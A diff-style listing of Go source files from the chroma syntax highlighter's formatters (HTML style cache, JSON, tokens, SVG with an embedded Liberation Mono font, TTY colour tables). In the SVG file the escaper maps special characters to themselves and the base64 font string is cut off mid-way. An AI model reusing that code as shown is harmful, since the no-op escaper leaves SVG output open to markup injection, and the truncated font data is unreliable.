styles = append(styles, "color: "+e.Colour.String())
|
||||
}
|
||||
if e.Background.IsSet() {
|
||||
styles = append(styles, "background-color: "+e.Background.String())
|
||||
}
|
||||
if e.Bold == chroma.Yes {
|
||||
styles = append(styles, "font-weight: bold")
|
||||
}
|
||||
if e.Italic == chroma.Yes {
|
||||
styles = append(styles, "font-style: italic")
|
||||
}
|
||||
if e.Underline == chroma.Yes {
|
||||
styles = append(styles, "text-decoration: underline")
|
||||
}
|
||||
return strings.Join(styles, "; ")
|
||||
}
|
||||
|
||||
// Compress CSS attributes - remove spaces, transform 6-digit colours to 3.
|
||||
func compressStyle(s string) string {
|
||||
parts := strings.Split(s, ";")
|
||||
out := []string{}
|
||||
for _, p := range parts {
|
||||
p = strings.Join(strings.Fields(p), " ")
|
||||
p = strings.Replace(p, ": ", ":", 1)
|
||||
if strings.Contains(p, "#") {
|
||||
c := p[len(p)-6:]
|
||||
if c[0] == c[1] && c[2] == c[3] && c[4] == c[5] {
|
||||
p = p[:len(p)-6] + c[0:1] + c[2:3] + c[4:5]
|
||||
}
|
||||
}
|
||||
out = append(out, p)
|
||||
}
|
||||
return strings.Join(out, ";")
|
||||
}
|
||||
|
||||
const styleCacheLimit = 32
|
||||
|
||||
type styleCacheEntry struct {
|
||||
style *chroma.Style
|
||||
compressed bool
|
||||
cache map[chroma.TokenType]string
|
||||
}
|
||||
|
||||
type styleCache struct {
|
||||
mu sync.Mutex
|
||||
// LRU cache of compiled (and possibly compressed) styles. This is a slice
|
||||
// because the cache size is small, and a slice is sufficiently fast for
|
||||
// small N.
|
||||
cache []styleCacheEntry
|
||||
f *Formatter
|
||||
}
|
||||
|
||||
func newStyleCache(f *Formatter) *styleCache {
|
||||
return &styleCache{f: f}
|
||||
}
|
||||
|
||||
func (l *styleCache) get(style *chroma.Style, compress bool) map[chroma.TokenType]string {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
// Look for an existing entry.
|
||||
for i := len(l.cache) - 1; i >= 0; i-- {
|
||||
entry := l.cache[i]
|
||||
if entry.style == style && entry.compressed == compress {
|
||||
// Top of the cache, no need to adjust the order.
|
||||
if i == len(l.cache)-1 {
|
||||
return entry.cache
|
||||
}
|
||||
// Move this entry to the end of the LRU
|
||||
copy(l.cache[i:], l.cache[i+1:])
|
||||
l.cache[len(l.cache)-1] = entry
|
||||
return entry.cache
|
||||
}
|
||||
}
|
||||
|
||||
// No entry, create one.
|
||||
cached := l.f.styleToCSS(style)
|
||||
if !l.f.Classes {
|
||||
for t, style := range cached {
|
||||
cached[t] = compressStyle(style)
|
||||
}
|
||||
}
|
||||
if compress {
|
||||
for t, style := range cached {
|
||||
cached[t] = compressStyle(style)
|
||||
}
|
||||
}
|
||||
// Evict the oldest entry.
|
||||
if len(l.cache) >= styleCacheLimit {
|
||||
l.cache = l.cache[0:copy(l.cache, l.cache[1:])]
|
||||
}
|
||||
l.cache = append(l.cache, styleCacheEntry{style: style, cache: cached, compressed: compress})
|
||||
return cached
|
||||
}
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
package formatters
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
)
|
||||
|
||||
// JSON formatter outputs the raw token structures as JSON.
|
||||
var JSON = Register("json", chroma.FormatterFunc(func(w io.Writer, s *chroma.Style, it chroma.Iterator) error {
|
||||
if _, err := fmt.Fprintln(w, "["); err != nil {
|
||||
return err
|
||||
}
|
||||
i := 0
|
||||
for t := it(); t != chroma.EOF; t = it() {
|
||||
if i > 0 {
|
||||
if _, err := fmt.Fprintln(w, ","); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
i++
|
||||
bytes, err := json.Marshal(t)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := fmt.Fprint(w, " "+string(bytes)); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if _, err := fmt.Fprintln(w); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := fmt.Fprintln(w, "]"); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}))
|
||||
+51
@@ -0,0 +1,51 @@
|
||||
// Digitized data copyright (c) 2010 Google Corporation
|
||||
// with Reserved Font Arimo, Tinos and Cousine.
|
||||
// Copyright (c) 2012 Red Hat, Inc.
|
||||
// with Reserved Font Name Liberation.
|
||||
//
|
||||
// This Font Software is licensed under the SIL Open Font License, Version 1.1.
|
||||
// This license is copied below, and is also available with a FAQ at: http://scripts.sil.org/OFL
|
||||
//
|
||||
// -----------------------------------------------------------
|
||||
// SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
|
||||
// -----------------------------------------------------------
|
||||
//
|
||||
// PREAMBLE
|
||||
// The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others.
|
||||
//
|
||||
// The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives.
|
||||
//
|
||||
// DEFINITIONS
|
||||
// "Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation.
|
||||
//
|
||||
// "Reserved Font Name" refers to any names specified as such after the copyright statement(s).
|
||||
//
|
||||
// "Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s).
|
||||
//
|
||||
// "Modified Version" refers to any derivative made by adding to, deleting, or substituting -- in part or in whole -- any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment.
|
||||
//
|
||||
// "Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
|
||||
//
|
||||
// PERMISSION & CONDITIONS
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
|
||||
//
|
||||
// 1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself.
|
||||
//
|
||||
// 2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
|
||||
//
|
||||
// 3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users.
|
||||
//
|
||||
// 4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission.
|
||||
//
|
||||
// 5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software.
|
||||
//
|
||||
// TERMINATION
|
||||
// This license becomes null and void if any of the above conditions are not met.
|
||||
//
|
||||
// DISCLAIMER
|
||||
// THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
|
||||
|
||||
package svg
|
||||
|
||||
// Liberation Mono as base64 encoded woff (SIL Open Font License)[https://en.wikipedia.org/wiki/Liberation_fonts]
|
||||
var FontLiberationMono = `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 truncated
|
||||
+222
@@ -0,0 +1,222 @@
|
||||
// Package svg contains an SVG formatter.
|
||||
package svg
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
)
|
||||
|
||||
// Option sets an option of the SVG formatter.
|
||||
type Option func(f *Formatter)
|
||||
|
||||
// FontFamily sets the font-family.
|
||||
func FontFamily(fontFamily string) Option { return func(f *Formatter) { f.fontFamily = fontFamily } }
|
||||
|
||||
// EmbedFontFile embeds given font file
|
||||
func EmbedFontFile(fontFamily string, fileName string) (option Option, err error) {
|
||||
var format FontFormat
|
||||
switch path.Ext(fileName) {
|
||||
case ".woff":
|
||||
format = WOFF
|
||||
case ".woff2":
|
||||
format = WOFF2
|
||||
case ".ttf":
|
||||
format = TRUETYPE
|
||||
default:
|
||||
return nil, errors.New("unexpected font file suffix")
|
||||
}
|
||||
|
||||
var content []byte
|
||||
if content, err = os.ReadFile(fileName); err == nil {
|
||||
option = EmbedFont(fontFamily, base64.StdEncoding.EncodeToString(content), format)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// EmbedFont embeds given base64 encoded font
|
||||
func EmbedFont(fontFamily string, font string, format FontFormat) Option {
|
||||
return func(f *Formatter) { f.fontFamily = fontFamily; f.embeddedFont = font; f.fontFormat = format }
|
||||
}
|
||||
|
||||
// New SVG formatter.
|
||||
func New(options ...Option) *Formatter {
|
||||
f := &Formatter{fontFamily: "Consolas, Monaco, Lucida Console, Liberation Mono, DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace"}
|
||||
for _, option := range options {
|
||||
option(f)
|
||||
}
|
||||
return f
|
||||
}
|
||||
|
||||
// Formatter that generates SVG.
|
||||
type Formatter struct {
|
||||
fontFamily string
|
||||
embeddedFont string
|
||||
fontFormat FontFormat
|
||||
}
|
||||
|
||||
func (f *Formatter) Format(w io.Writer, style *chroma.Style, iterator chroma.Iterator) (err error) {
|
||||
f.writeSVG(w, style, iterator.Tokens())
|
||||
return err
|
||||
}
|
||||
|
||||
var svgEscaper = strings.NewReplacer(
|
||||
`&`, "&",
|
||||
`<`, "<",
|
||||
`>`, ">",
|
||||
`"`, """,
|
||||
` `, " ",
|
||||
` `, "    ",
|
||||
)
|
||||
|
||||
// EscapeString escapes special characters.
|
||||
func escapeString(s string) string {
|
||||
return svgEscaper.Replace(s)
|
||||
}
|
||||
|
||||
func (f *Formatter) writeSVG(w io.Writer, style *chroma.Style, tokens []chroma.Token) { // nolint: gocyclo
|
||||
svgStyles := f.styleToSVG(style)
|
||||
lines := chroma.SplitTokensIntoLines(tokens)
|
||||
|
||||
fmt.Fprint(w, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n")
|
||||
fmt.Fprint(w, "<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.0//EN\" \"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd\">\n")
|
||||
fmt.Fprintf(w, "<svg width=\"%dpx\" height=\"%dpx\" xmlns=\"http://www.w3.org/2000/svg\">\n", 8*maxLineWidth(lines), 10+int(16.8*float64(len(lines)+1)))
|
||||
|
||||
if f.embeddedFont != "" {
|
||||
f.writeFontStyle(w)
|
||||
}
|
||||
|
||||
fmt.Fprintf(w, "<rect width=\"100%%\" height=\"100%%\" fill=\"%s\"/>\n", style.Get(chroma.Background).Background.String())
|
||||
fmt.Fprintf(w, "<g font-family=\"%s\" font-size=\"14px\" fill=\"%s\">\n", f.fontFamily, style.Get(chroma.Text).Colour.String())
|
||||
|
||||
f.writeTokenBackgrounds(w, lines, style)
|
||||
|
||||
for index, tokens := range lines {
|
||||
fmt.Fprintf(w, "<text x=\"0\" y=\"%fem\" xml:space=\"preserve\">", 1.2*float64(index+1))
|
||||
|
||||
for _, token := range tokens {
|
||||
text := escapeString(token.String())
|
||||
attr := f.styleAttr(svgStyles, token.Type)
|
||||
if attr != "" {
|
||||
text = fmt.Sprintf("<tspan %s>%s</tspan>", attr, text)
|
||||
}
|
||||
fmt.Fprint(w, text)
|
||||
}
|
||||
fmt.Fprint(w, "</text>")
|
||||
}
|
||||
|
||||
fmt.Fprint(w, "\n</g>\n")
|
||||
fmt.Fprint(w, "</svg>\n")
|
||||
}
|
||||
|
||||
func maxLineWidth(lines [][]chroma.Token) int {
|
||||
maxWidth := 0
|
||||
for _, tokens := range lines {
|
||||
length := 0
|
||||
for _, token := range tokens {
|
||||
length += len(strings.ReplaceAll(token.String(), ` `, " "))
|
||||
}
|
||||
if length > maxWidth {
|
||||
maxWidth = length
|
||||
}
|
||||
}
|
||||
return maxWidth
|
||||
}
|
||||
|
||||
// There is no background attribute for text in SVG so simply calculate the position and text
|
||||
// of tokens with a background color that differs from the default and add a rectangle for each before
|
||||
// adding the token.
|
||||
func (f *Formatter) writeTokenBackgrounds(w io.Writer, lines [][]chroma.Token, style *chroma.Style) {
|
||||
for index, tokens := range lines {
|
||||
lineLength := 0
|
||||
for _, token := range tokens {
|
||||
length := len(strings.ReplaceAll(token.String(), ` `, " "))
|
||||
tokenBackground := style.Get(token.Type).Background
|
||||
if tokenBackground.IsSet() && tokenBackground != style.Get(chroma.Background).Background {
|
||||
fmt.Fprintf(w, "<rect id=\"%s\" x=\"%dch\" y=\"%fem\" width=\"%dch\" height=\"1.2em\" fill=\"%s\" />\n", escapeString(token.String()), lineLength, 1.2*float64(index)+0.25, length, style.Get(token.Type).Background.String())
|
||||
}
|
||||
lineLength += length
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type FontFormat int
|
||||
|
||||
// https://transfonter.org/formats
|
||||
const (
|
||||
WOFF FontFormat = iota
|
||||
WOFF2
|
||||
TRUETYPE
|
||||
)
|
||||
|
||||
var fontFormats = [...]string{
|
||||
"woff",
|
||||
"woff2",
|
||||
"truetype",
|
||||
}
|
||||
|
||||
func (f *Formatter) writeFontStyle(w io.Writer) {
|
||||
fmt.Fprintf(w, `<style>
|
||||
@font-face {
|
||||
font-family: '%s';
|
||||
src: url(data:application/x-font-%s;charset=utf-8;base64,%s) format('%s');'
|
||||
font-weight: normal;
|
||||
font-style: normal;
|
||||
}
|
||||
</style>`, f.fontFamily, fontFormats[f.fontFormat], f.embeddedFont, fontFormats[f.fontFormat])
|
||||
}
|
||||
|
||||
func (f *Formatter) styleAttr(styles map[chroma.TokenType]string, tt chroma.TokenType) string {
|
||||
if _, ok := styles[tt]; !ok {
|
||||
tt = tt.SubCategory()
|
||||
if _, ok := styles[tt]; !ok {
|
||||
tt = tt.Category()
|
||||
if _, ok := styles[tt]; !ok {
|
||||
return ""
|
||||
}
|
||||
}
|
||||
}
|
||||
return styles[tt]
|
||||
}
|
||||
|
||||
func (f *Formatter) styleToSVG(style *chroma.Style) map[chroma.TokenType]string {
|
||||
converted := map[chroma.TokenType]string{}
|
||||
bg := style.Get(chroma.Background)
|
||||
// Convert the style.
|
||||
for t := range chroma.StandardTypes {
|
||||
entry := style.Get(t)
|
||||
if t != chroma.Background {
|
||||
entry = entry.Sub(bg)
|
||||
}
|
||||
if entry.IsZero() {
|
||||
continue
|
||||
}
|
||||
converted[t] = StyleEntryToSVG(entry)
|
||||
}
|
||||
return converted
|
||||
}
|
||||
|
||||
// StyleEntryToSVG converts a chroma.StyleEntry to SVG attributes.
|
||||
func StyleEntryToSVG(e chroma.StyleEntry) string {
|
||||
var styles []string
|
||||
|
||||
if e.Colour.IsSet() {
|
||||
styles = append(styles, "fill=\""+e.Colour.String()+"\"")
|
||||
}
|
||||
if e.Bold == chroma.Yes {
|
||||
styles = append(styles, "font-weight=\"bold\"")
|
||||
}
|
||||
if e.Italic == chroma.Yes {
|
||||
styles = append(styles, "font-style=\"italic\"")
|
||||
}
|
||||
if e.Underline == chroma.Yes {
|
||||
styles = append(styles, "text-decoration=\"underline\"")
|
||||
}
|
||||
return strings.Join(styles, " ")
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
package formatters
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
)
|
||||
|
||||
// Tokens formatter outputs the raw token structures.
|
||||
var Tokens = Register("tokens", chroma.FormatterFunc(func(w io.Writer, s *chroma.Style, it chroma.Iterator) error {
|
||||
for t := it(); t != chroma.EOF; t = it() {
|
||||
if _, err := fmt.Fprintln(w, t.GoString()); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}))
|
||||
+284
@@ -0,0 +1,284 @@
|
||||
package formatters
|
||||
|
||||
import (
|
||||
"io"
|
||||
"math"
|
||||
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
)
|
||||
|
||||
type ttyTable struct {
|
||||
foreground map[chroma.Colour]string
|
||||
background map[chroma.Colour]string
|
||||
}
|
||||
|
||||
var c = chroma.MustParseColour
|
||||
|
||||
var ttyTables = map[int]*ttyTable{
|
||||
8: {
|
||||
foreground: map[chroma.Colour]string{
|
||||
c("#000000"): "\033[30m", c("#7f0000"): "\033[31m", c("#007f00"): "\033[32m", c("#7f7fe0"): "\033[33m",
|
||||
c("#00007f"): "\033[34m", c("#7f007f"): "\033[35m", c("#007f7f"): "\033[36m", c("#e5e5e5"): "\033[37m",
|
||||
c("#555555"): "\033[1m\033[30m", c("#ff0000"): "\033[1m\033[31m", c("#00ff00"): "\033[1m\033[32m", c("#ffff00"): "\033[1m\033[33m",
|
||||
c("#0000ff"): "\033[1m\033[34m", c("#ff00ff"): "\033[1m\033[35m", c("#00ffff"): "\033[1m\033[36m", c("#ffffff"): "\033[1m\033[37m",
|
||||
},
|
||||
background: map[chroma.Colour]string{
|
||||
c("#000000"): "\033[40m", c("#7f0000"): "\033[41m", c("#007f00"): "\033[42m", c("#7f7fe0"): "\033[43m",
|
||||
c("#00007f"): "\033[44m", c("#7f007f"): "\033[45m", c("#007f7f"): "\033[46m", c("#e5e5e5"): "\033[47m",
|
||||
c("#555555"): "\033[1m\033[40m", c("#ff0000"): "\033[1m\033[41m", c("#00ff00"): "\033[1m\033[42m", c("#ffff00"): "\033[1m\033[43m",
|
||||
c("#0000ff"): "\033[1m\033[44m", c("#ff00ff"): "\033[1m\033[45m", c("#00ffff"): "\033[1m\033[46m", c("#ffffff"): "\033[1m\033[47m",
|
||||
},
|
||||
},
|
||||
16: {
|
||||
foreground: map[chroma.Colour]string{
|
||||
c("#000000"): "\033[30m", c("#7f0000"): "\033[31m", c("#007f00"): "\033[32m", c("#7f7fe0"): "\033[33m",
|
||||
c("#00007f"): "\033[34m", c("#7f007f"): "\033[35m", c("#007f7f"): "\033[36m", c("#e5e5e5"): "\033[37m",
|
||||
c("#555555"): "\033[90m", c("#ff0000"): "\033[91m", c("#00ff00"): "\033[92m", c("#ffff00"): "\033[93m",
|
||||
c("#0000ff"): "\033[94m", c("#ff00ff"): "\033[95m", c("#00ffff"): "\033[96m", c("#ffffff"): "\033[97m",
|
||||
},
|
||||
background: map[chroma.Colour]string{
|
||||
c("#000000"): "\033[40m", c("#7f0000"): "\033[41m", c("#007f00"): "\033[42m", c("#7f7fe0"): "\033[43m",
|
||||
c("#00007f"): "\033[44m", c("#7f007f"): "\033[45m", c("#007f7f"): "\033[46m", c("#e5e5e5"): "\033[47m",
|
||||
c("#555555"): "\033[100m", c("#ff0000"): "\033[101m", c("#00ff00"): "\033[102m", c("#ffff00"): "\033[103m",
|
||||
c("#0000ff"): "\033[104m", c("#ff00ff"): "\033[105m", c("#00ffff"): "\033[106m", c("#ffffff"): "\033[107m",
|
||||
},
|
||||
},
|
||||
256: {
|
||||
foreground: map[chroma.Colour]string{
|
||||
c("#000000"): "\033[38;5;0m", c("#800000"): "\033[38;5;1m", c("#008000"): "\033[38;5;2m", c("#808000"): "\033[38;5;3m",
|
||||
c("#000080"): "\033[38;5;4m", c("#800080"): "\033[38;5;5m", c("#008080"): "\033[38;5;6m", c("#c0c0c0"): "\033[38;5;7m",
|
||||
